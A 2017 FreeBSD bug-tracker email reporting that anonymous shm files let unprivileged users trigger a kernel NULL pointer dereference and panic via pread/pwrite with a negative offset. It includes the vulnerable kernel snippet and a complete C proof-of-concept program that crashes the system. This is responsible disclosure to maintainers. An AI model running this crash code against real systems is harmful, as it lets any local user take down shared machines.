Date: Tue, 28 Feb 2017 19:39:52 +0000 From: bugzilla-noreply@freebsd.org To: freebsd-bugs@FreeBSD.org Subject: [Bug 217429] Users can cause NULL pointer deref and panic with shm file and pread/pwrite Message-ID: <bug-217429-8@https.bugs.freebsd.org/bugzilla/>
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https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D217429 Bug ID: 217429 Summary: Users can cause NULL pointer deref and panic with shm file and pread/pwrite Product: Base System Version: 10.3-RELEASE Hardware: Any OS: Any Status: New Severity: Affects Many People Priority: --- Component: kern Assignee: freebsd-bugs@FreeBSD.org Reporter: tim.newsham@nccgroup.trust /* * shmcrash.c * Crash FreeBSD with pread/pwrite on a shm file. Description: Anon shm files create with shm_open have a NULL fp->f_vnode. But shm_preadv and shm_pwritev will access through this pointer when the offset is negative: error =3D fget_read(td, fd, cap_rights_init(&rights, CAP_PREAD), &fp); if (error) return (error); if (!(fp->f_ops->fo_flags & DFLAG_SEEKABLE)) error =3D ESPIPE; else if (offset < 0 && fp->f_vnode->v_type !=3D VCHR) error =3D EINVAL; else error =3D dofileread(td, fd, fp, auio, offset, FOF_OFFSET); This causes a NULL pointer dereference in kernel, and a panic. No privileges are required. */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/syscall.h> #include <fcntl.h> #include <unistd.h> void xperror(char *msg) { perror(msg); exit(1); } int main(int argc, char **argv) { char buf[64]; int fd, x, w; w =3D (argc =3D=3D 2 && argv[1][0] =3D=3D 'w'); printf("we will %s\n", w ? "write" : "read"); fd =3D shm_open(SHM_ANON, O_RDWR, 0); if(fd =3D=3D -1) xperror("shm_open"); printf("fd %d\n", fd); fflush(stdout); if(w) x =3D pwrite(fd, "test", 4, -1); else x =3D pread(fd, buf, sizeof buf, -1); printf("io %d\n", x); return 0; } --=20 You are receiving this mail because: You are the assignee for the bug.=
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